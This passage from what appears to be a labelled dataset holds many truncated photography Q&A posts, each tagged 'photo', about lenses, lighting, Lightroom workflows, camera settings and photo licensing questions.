discount to Lightroom 4 from Lightroom 2 Body: I currently have Lightroom 2. Will I have to buy the full version of Lightroom 4 when it comes out or can I upgrade? ",['photo'] "Title: Where do these “redshifts” and “blueshifts” come from? Body: I make many product photos for the company I work for. For this I use Canon 400D with two external flash devices Walimex CY-600K. I've noticed an interesting effect on many of the photos I take with ... ",['photo'] "Title: Clear and sharp shot of a static object on a very blurry background (EOS550D) [duplicate] Body: Possible Duplicate: How can I maximise that “blurry background, sharp subject” (bokeh) effect? I am trying to achieve clear and sharp shot of a static object on a very blurry ... ",['photo'] "Title: How do straight edges end up curved in photos? Body: In the standard model for a lens straight lines in the subject of a photograph will always end up straight. However I have seen a variety of photographs in which straight lines end up being curved, ... ",['photo'] "Title: What is the best lens correction software which integrates with Aperture 3? Body: I want to know if there are any good lens correction software (i.e. plugin) for Aperture 3? I am primarily looking for general purpose lens correction software. I have looked at the plugin page for ... ",['photo'] "Title: How to ask a photographer for proof of insurance in the US? Body: I am wondering from both sides of the table, how or what to ask a professional photographer in regards to insurance, and what document is typically produced by a photographer? Specifically I want to ... ",['photo'] "Title: Should I buy the Nikon 70-300 VRII or the Tamron 70-300 VC (A005)? Body: I'm looking for a consumer grade telephoto lens and zero'd in on these two. Which one is a better product overall optically, cost and reliability-wise. Some people seems to have bad luck with their ... ",['photo'] "Title: What makes a job interview photo great? Body: I am going to take job interview photos next week. However I don't know the next best thing about photography. I don't want to go to the shooting unprepared though. So I hope you guys can enlighten me ... ",['photo'] "Title: Does fog enhance the colours during dawn and dusk? Body: So I was off work one day when the sun was going down, and it was foggy (but clear without much clouds) and I noticed that the setting sun coloured the entire sky with a wide range of shades of ... ",['photo'] "Title: What is a Carl Zeiss lens in a camera? Body: I have a Sony CyberShot camera and I don't know why they use a lens in the camera. What is a Carl Zeiss lens? ",['photo'] "Title: Are camera sling straps comfortable to wear when you also carry a backpack? Body: I'm interested in buying a sling strap, probably OP/TECH's Pro Loop. While looking at marketing videos for this and other brands I noticed that in all cases they show the photographer carrying only ... ",['photo'] "Title: Should I perform the final color space conversion before or after final sharpening of an image? Body: When preparing an image for the web (or other media), the last two steps is usually to resize the image to the desired resolution and sharpen it at that resolution. However, when working in a ... ",['photo'] "Title: What causes strange spiral pattern on my star line? Body: Ok, so I created this test image. The camera was behind the window, I just tested long exposure photography on the single star I saw. It was about 20 minutes of expo, star was out of focus (I really ... ",['photo'] "Title: How can I best shoot portraits with only two lights? Body: Assuming a two light setup, what would the best use of the two lights? Edit: after getting no response to what I guess was an over-ambitious question, I've researched this and have come up with a ... ",['photo'] "Title: How to properly archive Lightroom Body: We've got 4 catalogs running on our production computer (Families, Weddings, Fashion, Personal). All of these catalogs contain images that we want to retain long term. When our hard drive filled up, ... ",['photo'] "Title: What are the physical limits of a mechanical shutter? Body: I've recently found myself shooting a lot of photos on the maximum speed that my camera (a Canon 600D) allows (1/4000). This is quite extreme when thinking about mechanical movements, so I assumed ... ",['photo'] "Title: What creative things can I do with incompatible lenses? Body: I found an old 28-85mm and a 70-210mm lens my father used on his 35mm Minolta but they are incompatible with my D7000. Keeping in mind I'd rather not take off the current lens to avoid any dust going ... ",['photo'] "Title: Tips for people-photography [duplicate] Body: Possible Duplicate: How can I get my portrait subjects to look natural and drop the cheesy smile? Shooting people is more difficult according to me because people tend to change their ... ",['photo'] "Title: What does “distortion <XX%” mean in lens specs? Body: I'm going to buy a lens and I would like to understand what ""distortion <XX%"" means. It's a vari-focal 10-60mm lens, and mentions distortion <12-1%. According to my understanding, at 10mm focal ... ",['photo'] "Title: Are scene modes, white balance, color tones, and similar just post-processing effects? Body: What happens when the following settings are changed: White balance Color tones Scene modes Are these parameters affect the way in which the photo is taken or they are just applied by processing ... ",['photo'] "Title: What program can blur a photo to show motion? Body: I have a picture in the woods of a path. I want to blur the woods so they look like they are being run by really fast, not just plain blurry. The best analogy I can think of is like cars look on ... ",['photo'] "Title: What type of gray allows for the most flexibility in a background? Body: I'm setting up a cheap home studio and want to get a single background for portrait shots to keep costs down. The room is currently way too bright as it is rather small for the purpose and with all ... ",['photo'] "Title: How wide a backdrop do I need? Body: I'm setting up a simple home studio to do portrait shots. I thought I could get away with shooting against a white wall and using shallow depth of field/umbrellas up close to isolate the brightness of ... ",['photo'] "Title: What is causing this white spot in every photo with my D90? Body: Recently I noticed that the photographs from my D90 has an odd white dot in it. The dot is present in every image. The dot becomes clearly visible as I zoom into the image. I have attached a photo ... ",['photo'] "Title: Aperture Master files Body: How do I create master files in Aperture so that I can email from within that application? Most of a photos started in iPhoto originally. ",['photo'] "Title: What is bulb ramping? Body: What does the term bulb ramping refer to and what does it bring the world of time-lapse photography? It seems you need a specific type of intervalometer for bulb ramping. How do these differ from the ... ",['photo'] "Title: What lens should I buy to get better pictures of a one-year old running around a dimly-lit house? Body: I'm an amateur photographer with a Canon Rebel XS, and I'm trying to figure out what type of lens I should buy to take better photos of my one year old when she is running around in our dimly lit ... ",['photo'] "Title: How to do batch file conversion with face recognition in Windows Live Photo Gallery? Body: I have a large number of files I want to convert from RAW to JPG. I want to copy the facial recognition data along with the other metadata. I know I can do batch conversion in other applications, but ... ",['photo'] "Title: Are flashes really subject to a “use it or lose it” problem? Body: I was just reading the manual that came with my new flash and stumbled over this warning: 14.3 Flash capacitor forming The flash capacitor built into the flash unit undergoes physical change if ... ",['photo'] "Title: What are the differences between different types of cloth backdrops? Body: I'm considering getting backdrop for a small home portrait studio. Leaving out the issues of cloth vs. paper, I'd like to know how the different cloth options compare. There's muslin, velour ... ",['photo'] "Title: How to carry a DSLR on a motorcycle? Body: I do a lot of road trips and I carry my camera (D90+50mm) and an extra lens (18-105mm) in my backpack (Lowpro CompuDaypack). The backpack is great, but it doesn't allow me to draw my cam out quickly ... ",['photo'] "Title: Why does my Nikon D5000's AF Assist only turn on in some automatic modes? Body: I am using a Nikon D5000 with a 50mm f/1.4 with autofocus. When I try to use manual mode (or aperture priority, or shutter priority), my AF assist beam does not light, which makes it hard for my ... ",['photo'] "Title: How to test used/second-hand lens? [duplicate] Body: Possible Duplicate: What should one look for when buying a used lens? I am going to buy second hand AF-S DX NIKKOR 18-200mm f/3.5-5.6G ED VR II. The price difference is noticable so I would ... ",['photo'] "Title: Recommendation: Photo sharing website for a photographer Body: I'm looking to build a photo sharing website for a photographer (starting out) and wanted to know any known choices. I don't mind paying up. I had a look around and I find Smugmug the best yet with ... ",['photo'] "Title: Is it possible to make “Protected” the default state for new images on my Nikon D3000? Body: I have a Nikon D3000. I want to protect every image that is taken with the camera, but I would like to make this automatically. I mean every time a photo is taken the camera should protect it itself. ... ",['photo'] "Title: Shooting old buildings using an 18-55 and 75-300 lenses (Canon) [closed] Body: Photography is one of my hobbies but due to the costs associated with it, I do not have/own the best of gear. I have a 6 MP Canon DSLR with an 18-55 II lens and a 75-300 III f4/5.6 lens. I also own a ... ",['photo'] "Title: 35mm Film to Megapixel [duplicate] Body: Possible Duplicate: What megapixel value is equivalent to which ISO film? Is it true that '80s 35mm photofilm had quality corresponding to 24 megapixels? Is there a ratio or ... ",['photo'] "Title: Is there a comfortable, secure, light, and cheap sling shoulder strap system? Body: I'm looking to carry my Canon DSLR on my shoulder. I have a Canon T1i with 15-85mm lens that I walked around with all the time. Here is what I need: A comfortable strap that is long enough to ... ",['photo'] "Title: Is there a Point and Shoot camera with a Macro function or ability? Body: I am looking for a simple point and shoot camera with a macro function to be able to take photographs for eBay auctions. Are there any P&S cameras with this function? ",['photo'] "Title: How can I salvage an HDR image from non-optimal source images? Body: During a recent wedding, I took a number of shots with my Nikon D90 at different exposures, hoping to merge them into HDR pictures. However, it was done in a hurry, i.e. with no auto-bracketing or ... ",['photo'] "Title: How to reproduce Renaissance painting styles in photography? Body: Rembrandt lighting is a well-known technique to produce Chiaroscuro, presentation of depth using light and shadow areas. But in addition to Chiaroscuro, there were three other painting modes in the ... ",['photo'] "Title: What exactly does Tone Curve do in Lightroom? Body: In simple terms, what does Tone Curve in LR actually do?. I can see the results of changing Tone Curve by playing around with it, but I don't really understand scientifically what it actually does. I ... ",['photo'] "Title: How good is Sigma 70-300mm F/4-5.6 DG Macro Lens Body: Planning to buy this lens for my D-90, but not sure how good it is, though i have narrow down my search based on budget constraint. But i have read that it has given good results for wildlife ... ",['photo'] "Title: Are old reels of film useful past their “Use By” date? Body: I have about seven ISO 400 reels of 36 shots each, all of which have a use-by date of sometime in 2006. Are they useless now and should I just throw them away? Or, does the Use By date not matter ... ",['photo'] "Title: Why doesn't the background become blurred when I change the aperture on my Fujifilm S4000? Body: I am sorry if my question is too naive, but I am a complete beginner in photography, and I think I still need to understand well what aperture is. I have a Fujifilm S4000 camera, and I know I can't do ... ",['photo'] "Title: How useful is a tablet for photo editing? Body: I understand the value of using a tablet like a Wacom Intuos for Graphic Design. But with Photography Editing how useful is the use of a tablet? ",['photo'] "Title: Which laptop features are important to consider for Photoshop processing when traveling? Body: I will be traveling overseas for about a few months and I would like to purchase a new notebook/laptop to process my RAW pictures using Photoshop Elements 9. Weight and minimum processing speed are ... ",['photo'] "Title: I got a 35mm f/1.8G when I meant to get the 50mm f/1.4G — should I sell it or keep it? Body: I'm a Nikon user and I'm using a D90. I bought a lens recently but got ripped off. I was aiming for 50mm f/1.4G but apparently the seller offer me the other one which is 35mm f/1.8G DX and the worst ... ",['photo'] "Title: How to smoothen a tripod's head movement? Body: Few months back I purchased a second hand tripod. Later on I noticed that the head (which holds the camera) of the tripod doesn't move freely. I mean I have to apply some pressure to make it move left ... ",['photo'] "Title: How important is it that the Canon 50mm f/1.4 lens does not return distance data? Body: I read at the photonotes website that the Canon 50mm f/1.4 USM lens does not return distance information to the camera, to be used for E-TTL II. How important is this, and should this be a ... ",['photo'] "Title: Is there a very small but robust tripod? Body: During my trips when I do landscape photography, I often can't take my tripod. It's too big and too heavy. If the weight can be managed by buying a more expensive one, the size remains a problem. ... ",['photo'] "Title: Can any radio flash triggers be used without a sync cable? Body: I am looking for an inexpensive wireless flash trigger system to use with my Pentax k-x and an old flash I wouldn't trust on the camera hot shoe (Vivitar 550FD) because of its high trigger voltage. I ... ",['photo'] "Title: What kind of camera bag should I pick for traveling around the Alps? Body: I will be traveling around Austria (and Alps) next spring and will be carrying my photography gear with me. I have a Canon Rebel T2i, a prime and a telephoto lens, an external speedlite, CPL filters, ... ",['photo'] "Title: How can I focus in very low light with my Canon 60D? Body: I'm using a Canon 60D and would like to focus in low light. I know Canons — in fact, all cameras — can struggle here with auto focus, but I'm talking about light so low that I wouldn't be able to see ... ",['photo'] "Title: How can I import photos into Lightroom from my iPhone without getting the videos? Body: I am importing photos from my iPhone 4S into Lightroom 3.4.1. I don't want to import the videos. How do I tell Lightroom not to import video without me having to untick all the individual videos? I ... ",['photo'] "Title: Can this cheap tilt-shift compact camera produce good results? Body: I've just seen this tilt-shift compact camera on the web and I was wondering if it was any good. I'm interested in experimenting with this style of photography, but I don't have £1,000 to spend on a ... ",['photo'] "Title: How To work with Pick and Reject in Lightroom? Body: I'm new in Lightroom and looking for Pick/Reject Workflows strategies. Actually I'm following the Workflow suggested at the lighroomlab.com (Using Pick and Reject Flags in Lightroom) which roughly ... ",['photo'] "Title: Why is the focus selection button not working on this Canon 5D Mk II? Body: On my Canon 5D Mark II camera, if I press the focus selection button the focus points show on the top display and you can set the new focus point using the top wheel. On my friend's 5D Mk II, if I ... ",['photo'] "Title: When you zoom in with a lens on an SLR why does the lens go in then out? Body: I guess this is more a question of optics than photography but I just got an SLR with a basic 18-55 lens. I noticed that when going from 18 to 55 or 55 to 18 the lens physically comes back in and ... ",['photo'] "Title: How can I find which lenses have “Continuous manual focus”? Body: Canon lenses with USM auto focus can be called ""continuous manual focus"" (at least some). By this I mean that you can override the AF without switching it off. I've found this very handy, and I often ... ",['photo'] "Title: How to best take a group photo with very large differences on height? Body: My family will be together for the first tome together. We want to take pictures. My family has very tall (6'6"") and short (5'2"") adults, and 5 kids, ages 1-12. What can I do to make pleasing photos? ",['photo'] "Title: What software can I use to process RAW images? [duplicate] Body: I took some raw images the other day and I found the lighting in some photos is very dim. I would like to enhance it as many say you have a lot of options to adjust different parameters in RAW. Which ... ",['photo'] "Title: Is it possible to get custom firmware for digital (point and shoot) cameras? Body: Is it possible to manually update a digital camera's firmware? Is there any organization or do individual people develop custom firmwares? I am using Samsung SL30 and that lacks allowing manual ... ",['photo'] "Title: What are the pros and cons of a viewfinder versus a liveview? Body: Provided a DSLR has both i.e. a viewfinder as well as a liveview feature. Which one is more preferable for focusing and composition, and why? Is there something which can be done through a viewfinder ... ",['photo'] "Title: Do video cameras use the same image sensors as still cameras? Body: Do video cameras have the image sensors cameras have? I really don't know what I'm talking about, so if the answer was explained, I would really appreciate it. ",['photo'] "Title: How do I tile pictures in a grid? Body: This is a very basic question I know. But how do I tile pictures in a grid? Like, I have 6 pictures all with the exact same dimensions, and I want to tile them in a 2 row, 3 column grid. I have been ... ",['photo'] "Title: What is the difference between DX format and FX format lenses, and which to choose for what purpose? Body: http://www.nikon.co.in/products.php?categoryid=1011 What is the difference between DX format and FX format lenses, and which to choose for what purpose? What are the pros and cons of both? ",['photo'] "Title: How did they do this effect in this Sherlock Holmes 2 movie promo photo? Body: Looking at this: http://www.drawingart.org/clients/sherlockholmes2/ I'm curious as to how they pulled it off, in that obviously the photographs themselves have had both some serious talent + ... ",['photo'] "Title: Is there an online photo alignment tool? Body: I would like to align two photographs that were taken from slightly different angles (the very same step that is performed before HDR creation). Anyone knows of the (online would be the best) tool ... ",['photo'] "Title: What should I do about Nikon D90 intermittent shutter release failure? Body: Over the last few months, I have noticed a problem with the shutter release on my D90. Most of the time, the shutter release works ok. But sometimes, both half-press and full-press fail to work. ... ",['photo'] "Title: What constitutes the quality difference in lenses with exactly the same specifications but different brand names? Body: Example: I wish to purchase a lens with the fixed maximum aperture of f/2, and some other features. If I get the exactly same specifications in Tamron and Nikon, on what basis should I decide which ... ",['photo'] "Title: Which of these lenses should I get for low light conditions? Body: I'm on a $500 budget and I'm thinking of getting one of these two lenses for low light conditions (e.g. small venue concerts): Sigma 28mm f/1.8 EX DG DF Macro Canon-ef 50mm f/1.4 USM I think I ... ",['photo'] "Title: why close ups are too wide Body: I have been taking close up pictures for a while with no problem. I think I may have done something with the settings, because all of a sudden my closeups are distorted (wide). I have a sony cyber ... ",['photo'] "Title: Difference between Canon EF-S 55-250mm f/4-5.6 IS and Canon EF-S 55-250mm f/4-5.6 IS II? [duplicate] Body: Possible Duplicate: What are the differences between two generations of Canon EF-S 55-250mm f4-5.6 IS? What is th edifference between these 2 lens Canon EF-S 55-250mm f/4-5.6 IS and Canon ... ",['photo'] "Title: How can I avoid reflections when photographing into store windows? Body: I consistently have an issue photographing through store windows into businesses, due to reflections off of the windows. Cars and building behind me always seem to be reflected, no matter the light, ... ",['photo'] "Title: What is considered “sharp enough” w.r.t the landscape pictures from a DSLR with F16? Body: This image was shot with a Canon 5D (the older one) with a EF24-105mm f/4L lens. The lens was set at 45mm at f/11, and the shutter speed was 1/90 of a second which was +0.5 from the meter at ISO ... ",['photo'] "Title: Is it possible to get the Histogram display in Lightroom to only consider the area selected by your cropping? Body: I've noticed that when I crop a photo, the histogram does not change. If I am then making changes based on the histogram (ie. exposure, fill light, blacks, etc...), it would seem to me that the ... ",['photo'] "Title: What is the difference between these similarly-named Canon macro lenses? Body: I'm looking to buy a macro lens but I'm unsure which one is best since the names are very similar. Other than the price, what is the difference between the Canon EF 100mm F2.8 L Macro IS USM and ... ",['photo'] "Title: Can I use the lens from Canon AE-1 on a Canon EOS 60D, with an adaptor maybe? Body: I have a Canon AE-1 (film) and I bought a digital slr camera Canon EOS 60D. I have lenses from the AE-1 camera, but I don't know if there are some adaptors to use so they fit in the 60D camera... any ... ",['photo'] "Title: Can I control how facebook timeline displays my photos? [closed] Body: As a gallery represented photographer in a resort community, my gallery and I really use Facebook for promotion. I just turned on Timeline today, marked my recent work as ""Featured"" and was aghast at ... ",['photo'] "Title: What is a good 360 degree camera? Body: I want to buy a new camera for a 360 degree shoot , so can anyone suggest me the good one I have seen that Sony Bloggie camera which has 3D camera and a 360 degree lens too, so does this camera have ... ",['photo'] "Title: What will I gain for the higher price of SB-600 vs SB-400 on a Nikon D90? Body: I have a Nikon D-90 and I am an non-professional photographer doing kids photography indoors, and family pictures while travelling with family. I have the following: 18-105mm VR – Kit Lens with ... ",['photo'] "Title: How can I tag or mark scanned photos to show they are mine? Body: I have scanned some photos of mine from prints, and I would like to mark them with some indication that I took them. Is there a recognised way of tagging photos that might survive some basic post ... ",['photo'] "Title: How does TTL flash work in manual exposure mode? Body: I got the Metz 44 AF-1 flash recently that is TTL capable for my Canon 550D, and have been reading around to get a better understanding of using flash on-camera (Neil Van Niekerk's article on flash ... ",['photo'] "Title: Can the sharpness of the lens be evaluated with no relation to the DSLR? Body: When I read lens reviews, they all say that one lens is sharp, another is very sharp, another one is not sharp at all, etc. For me, it doesn't make sense to just say that a lens is sharp or not, with ... ",['photo'] "Title: What should I buy as my first (and initially only) lens to go with a Canon 60D? Body: I was able to get a great deal on the Canon EOS 60D body and now I have to buy myself a suitable quality lens. Unfortunately my order was later revoked so no great deal for me. Will have to ... ",['photo'] "Title: What are the “Distance Setting Marks” for use in storytelling composition? Body: I am reading Understanding Exposure, by Bryan Peterson, to learn some bits and tricks about photography. I came across one line ""You would first choose to set your aperture to f/22 and than align the ... ",['photo'] "Title: Will I lose image quality by adjusting white balance in post processing? Body: I understand that if I shoot in RAW, post processing software like Lightroom is capable of adjusting colour temperature and tint to my desire. Will I lose any image quality in process? Or is it as ... ",['photo'] "Title: How to photograph a huge book on a table so text is level? Body: I use PENTAX Optio RS1500 Hoya Corp. digital camera with 14 megapixels. When I photograph a huge book on a table, I can use text mode to capture all the text and lines clearly. But the lines become ... ",['photo'] "Title: Is the used Nikon Nikkor 18-200mm lens I bought broken? Body: I bought the 18-200mm Nikon lens used through a reputable vendor through the mail. I purchased insurance just in case the lens did not work or was damaged in shipping. I'm not a professional but I ... ",['photo'] "Title: Slower VR lens vs faster non VR, which one is better for hand held in low light? Body: I have a Nikkor 18-105mm f3.5-5.6G ED VR lens, and a Nikkor 50mm f/1.8 D. The latter is obviously a faster lens and as such better in low light, but (assuming the zoom lens is set to 50mm), which one ... ",['photo'] "Title: After 2 years of amateur photo, buy a new body or a great lens? Body: Two years ago I bought my first DSLR. Since then I have bought and inherited some lenses. What should I buy next, a better body or more lenses? I enjoy photography but I do it fewer than I'd like (not ... ",['photo'] "Title: How do I make picture from my Canon 550D more dramatic and colourful, via camera settings if possible? Body: I have just started clicking with my new Canon 550D DSLR camera and while I'm getting used to its functions and settings, I was intending to get the colours more vibrant while clicking my pictures. ... ",['photo'] "Title: Why is AF performance different in automatic and selective mode? Body: How often do you use AF in selective (SEL) mode? The reason why I'm asking is that I've noticed that on a Pentax body (K10D and K-5) the AF is a lot more accurate when in AUTO mode than in SEL mode. ... ",['photo'] "Title: How to calculate viewing distance for a print size? Body: I'm working on a photomontage (35mm landscape). The client is asking for what size they should print it at and what is the viewing distance. I'm planning to print the final image on either A1 or A2 ... ",['photo'] "Title: How do I get the 'equivalent' focal length for a DSLR lens for my camera? Body: On my Nikon D3000, how do I figure the focal length equivalence? In other words, if I want a lens that is just like a 50mm lens on a 35mm film SLR, I need to multiply by a factor. What is the factor, ... ",['photo'] "Title: Will a prime lens help me get better portraits at a wedding? Body: I have a Canon 600D with the EF-S 18-55mm f/3.5-5.6 IS lens. I have a friend's wedding coming soon, and I'm not sure if my zoom lens will do a good job or not. I was thinking of buying a prime lens so ... ",['photo'] "Title: What software do I need to create a panorama inside a cylinder to publish on the web? Body: Googling I found on the net reference to sphere panoramas, but I'm not interested in looking up or down, just to the front. My image is a just rectangular, a very wide panorama and I wanted to create ... ",['photo'] "Title: How do I return to Camera RAW window after opening an image? Body: I tend to open a bunch of RAW files at the same time and move through them using the preview to find the image I want to work on. When I click on ""Open Image"" (perhaps after adjusting white balance ... ",['photo'] "Title: Can any point-and-shoot camera take RAW images? Body: Which point and shoot cameras support RAW images? Is there any way to take RAW images on unsupported cameras? ",['photo'] "Title: What is the difference between Canon's Remote Switch and Remote Control? Body: I own a Canon Rebel T3i and on the accessories page on Canon website there is a Remote Switch (Cable Switch) and Remote Control. What is the difference between both (they are the same price) and if I ... ",['photo'] "Title: Can you use alternative brushes to clean DSLR sensors? Body: A lot of praise goes to Arctic Butterfly when doing DIY sensor cleaning. However are there cheaper solution to brush off dust by using other non-sensor cleaning specific brushes? Most high quality ... ",['photo'] "Title: Why are only certain shutter speeds or apertures available? Body: For the exposure control function DSLRs there are specific shutter speeds available. For example there are 1/4, 1/100, 1/500. Why, even in high end DSLRs, is there no option to use a custom shutter ... ",['photo'] "Title: Best tips for composition and learning composition? [duplicate] Body: Possible Duplicate: Good books to learn photographic composition from? Can anyone suggest books/resources on the artistic side of photography? ... ",['photo'] "Title: Should I set exposure on my camera or later with software? Body: With most cameras (Point-n-Shoots and DSLRs) I have always seen exposure settings for exposure. My question is this, should I mess with exposure in the camera while taking the shot or use software ... ",['photo'] "Title: How to prevent commercial use of a photo? Body: I got a request from a guy who'd like to use this image of mine for a print. I am normally open to non-commercial (simple attribution is okay) usage of my photos. So, I wrote ""Drop me a flickr mail or ... ",['photo'] "Title: Can you sell a photo of a hotel building or a sign of a public market? Body: I have two photos that I took while on vacation, one of the Public Market sign in Seattle and the other is the Sax hotel in Chicago. I have manipulated them in photoshop and am impressed with both ... ",['photo'] "Title: Will I see a significant improvement from upgrading from Canon EOS 350D to 550D? Body: I am an enthusiastic amateur photographer and have a Canon 350 D that I bought about 5 years back. I use this with a Tamron 17-50 2.8 lens, a Canon 50 mm 1.8 mm lens and a Canon 70-200 f 4.0 L lens ... ",['photo'] "Title: What is the highest shutter speed in which the shutter is at some point completely open? Body: Specifically, for my Nikon D7000, but also in general. Is this shutter speed basically going to be the same shutter speed as the fastest flash sync speed, or the flash sync speed more affected by ... ",['photo'] "Title: How can I evaluate the colour accuracy of my photos? Body: I have noticed that the colours in my photos are quite dependant on the medium on which I am viewing them — the camera LCD, computer monitor, TV, digital photo frame and print. So, something that ... ",['photo'] "Title: How much different are the Tamron 17-50mm f/2.8 stabilized (VC) and non-stabilized versions? Body: I have seen these 2 lenses being suggested by many people across the site as general purpose zooms and an upgrade to the typical 18-55mm kit lenses. The price difference seems to be around $200 (~INR ... ",['photo'] "Title: Are refurbished digital SLR cameras okay to buy (and worth the small savings)? Body: I ran across a few refurbished cameras (from reputable sites) and my question is this: Are refurbished cameras normally okay to buy? (Note: I am referring to DSLR cameras that are body plus one ... ",['photo'] "Title: How can I best shoot moving objects using Canon XTi? Body: How do I shoot moving objects using my Canon Xti? I mean, what mode I need to keep my SLR (AV,P or TV) and what should be ISO and focal and other settings. I am using canon 55-250 IS lens. ",['photo'] "Title: Is gallery quality possible with a mirrorless camera? Body: I'm a gallery represented photographer and I'm contemplating a new camera. I currently shoot with a Canon 40D primarily with 2 pieces of Canon L glass, the 17-40mm and the 24-105mm. I am exceptionally ... ",['photo'] "Title: What are the main advantages of purchasing Photoshop over the free online version? Body: What are the main advantages of purchasing Photoshop (subscription or one off payment) over the free online version? I am aware that: Internet Access it required The ""heal"" tool is not fully ... ",['photo'] "Title: What are the real-world differences between Canon, Sigma and other third-party 70-200 f/2.8 lenses? Body: I'm getting started with wedding photography, and was looking for a fast telephoto zoom to compliment my Tamron 17-50 f/2.8 (on a Canon 500D/T1i). After extensive online research, the 70-200 f/2.8 ... ",['photo'] "Title: What mm lens for distance shots? Body: If I am looking to take landscape and wildlife shots and some of those shots being from a decent distance what mm lens would I need? I am not sure what else I should be adding here, I am just looking ... ",['photo'] "Title: Does the Nikon D5100 have true auto bracketing and how do I use it? Body: There is a bracketing feature on Nikon D5100 but it does not seem to work as it does on other cameras such as D90. There is also a separate feature called HDR on D51000 and I am guessing Bracketing ... ",['photo'] "Title: What is Fine Art Paper? Body: What is fine art paper and how is it different from standard photo paper? Is it just a marketing term? When should it be used? ",['photo'] "Title: Is ND400 insufficient for some sun moments? Body: I've taken a shot of the sun using my Tamron 70-300 (at 300) on my Nikon D5000 at 1/4000 and F40 and had attached the ND400 filter. The shot was taken mostly to test the filter so I ignored the dirty ... ",['photo'] "Title: What are the differences between LaCie 324i and Asus PA246Q for photo editing? Body: As a followup question to this one... I'll be buying new monitors early next year, as an upgrade to the three Samsung 245T monitors I currently have. I have been quite pleased with these monitors, ... ",['photo'] "Title: How do you attach asset tags to camera equipment? Body: For all you pros out there, how do you handle asset tags on your equipment? It seems easy to apply them to computers, notebooks, external hardrives, and even camera bodies, but how do you handle ... ",['photo'] "Title: What's the fastest memory card that can be used with a Canon S95 (P&S) digital camera? Body: The S95 can apparently accommodate any of the following: SD/SDHC Memory Card, SDXC Memory Card, MultiMediaCard, MMCplus Card, HC MMCplus Card. Which one is going to be the fastest? I really want to ... ",['photo'] "Title: What's behind these memory card problems with my new Nikon D7000? Body: Recently I bought Nikon D-7000. It's fantastic camera, but I am facing few problems: I am using 16GB San Disk memory card in slot 1. While taking photos, sometimes it shows a memory card error. If I ... ",['photo'] "Title: What settings do I need to take a night cityscape with blue sky like Eric Rolph? Body: I was wowed when I looked at this image on google maps for the Prudential Tower observatory. Then I start digging into the photographer (Eric Rolph -flickr) and I found he had some stunning pics ... ",['photo'] "Title: How should I decide which flash to purchase for my Sony A580? Body: I have a Sony a580 and I'm thinking about purchasing a flash. I'd like to use the flash for indoor photography: portraits, group photos and candid shots. It looks like there are a number of options ... ",['photo'] "Title: Is it true that there are no stabilized prime lenses (and if so, why)? Body: Fast prime lenses like the Canon 50mm f/1.4 lens work nicely in low-light situations. But I'm quite sure they would work even more nicely if they had optical image stabilizers. It seems to me that no ... ",['photo'] "Title: How limiting are the line-of-sight requirements of Canon's optical wireless flash system? Body: I have a Canon 7D and 580EX II Speedlite, and am trying to make the jump into flash photography, particularly portrait work. I understand that the 7D's wireless trigger works by line-of-sight. Will ... ",['photo'] "Title: What is an affordable but safe underwater housing for Canon PowerShot A3000 IS? Body: What is an affordable but safe housing for the Canon PowerShot A3000 IS? I want to use it in diving. ",['photo'] "Title: How important are in-depth reviews when selecting a compact camera? Body: I'm going to buy a super-zoom compact camera for my travels and I'm reading a lot of reviews to find which one best suites my needs. I though that a good camera should result good in all reviews, but ... ",['photo'] "Title: Is it possible to print a photo so it can be mounted on a globe? Body: I'd like to transform an image so that it can be mounted on a sphere. I'd like to use an image of a map (see the One Piece world map on the image), but it could be anything. Here is a kind of Family ... ",['photo'] "Title: How does Nikon measure “minimum focus distance” for Macro/Micro lenses? Body: This question is about Nikon SLR terminology. The answer could be different for non-SLR cameras, or for different maker. The ""minimum focusing distance"" in the spec — it's measured and listed between ... ",['photo'] "Title: When would one choose a 50mm f/1.4 over 85mm f/1.8 (or vice versa) for portraits? Body: Say you are using a crop body, and you have both 50mm/1.4 USM and 85mm/1.8 USM lens in your bag. Now, you want to take a portrait where there is adequate light and space, and you have decided to take ... ",['photo'] "Title: How can I improve my food photography when limited to a point and shoot? Body: Previously I have used a Sony DSLR A580 camera along with its 50mm 1.8 lens to take pictures of food. Personally, I really liked that lens. At the moment, I am back to my old Samsung i8 Point and ... ",['photo'] "Title: What legal issues are there with selling photographs of white river rafting companies? Body: Are there any legal issues involved with going to a public river and taking pictures of white water rafters coming down the river? Firing them up to, say, a Smugmug Website for sale. More importantly, ... ",['photo'] "Title: How to take saturated portraits like these (with natural lighting)? Body: The photographer of these portraits claimed he used a 50mm f/1.8 prime with no special lighting equipment: http://farm6.static.flickr.com/5163/5318756409_9f4ec94f5b_z.jpg ... ",['photo'] "Title: Why does the Canon 1D Mark III cost more than the 1D Mark IV? Body: Why does the Canon 1D Mark III cost more than the 1D Mark IV ? According to snapsort it looks like the Mark IV is better. Mark 3: $7995 http://www.amazon.com/Canon-1D-Mark-III-Digital/dp/B000NP1C5O/ ... ",['photo'] "Title: Does the order of sharpening and noise reduction matter? Body: I have been shooting for more than three years, but I never do too much in post-processing. I tend to be strict and keep in mind that PP can only do little to save an otherwise-great photo. I was ... ",['photo'] "Title: How to get colors right with Nikon D300? Body: With my Nikon D300 I have been photographing dahlias. I have been unable to get accurate colors of some of the flowers particularly in the magenta-violet range. I have adjusted white balance manually ... ",['photo'] "Title: Canon or nikon? [duplicate] Body: Possible Duplicate: Is there any significant difference between Nikon and Canon? I am a starter in photography. I want buy my first DSLR (Nikon D5100 or canon 600D) and I am in a big ... ",['photo'] "Title: Why aren't my night shots sharp even when I shot at ISO 100 on a tripod? Body: I recently purchased a tripod because I really want to do some night photography. I have tried practicing with street lamps, moon shots etc with my Canon 550D and 70-200 f/4L and most of them are shot ... ",['photo'] "Title: What free software can batch process HDR images? Body: I am looking for free software that is able to batch-process HDR images. I used a +2,-2 bracketing on my camera (so I have 3 pics taken for each position). I'm trying to create panoramic images, so I ... ",['photo'] "Title: Is the lack of AF Motor on the Nikon D5100 an important factor? Body: I had made up mind on purchasing a Nikon D5100 during the holidays but only yesterday I realized that it doesn't have a AF motor with it. This is forcing me to change to Canon 550D which is in the ... ",['photo'] "Title: What are these lines through my images? Body: I have these lines or streaks across many of the images on this roll I had developed. I can see the same lines on the negatives as well as the prints. The lines are in the exact same spot across I ... ",['photo'] "Title: What is a good way to get cats to be more photogenic? Body: I have cats, but I imagine it's the same with dogs too... They never want to sit still, they get distracted easily, and when they do look at the camera they usually try to rub against it or grab it! ... ",['photo'] "Title: Is there a reason to avoid the Nikon 80-200 f/2.8 on a Nikon D7000? Body: I just got my Nikon D7000 and I was not satisfied with the kit lens that came with it (18-105mm VR), so I have now set my eyes on an 80-200mm available for $1000 on a local store. However, I have ... ",['photo'] "Title: Is it a wise-decision to buy full-frame 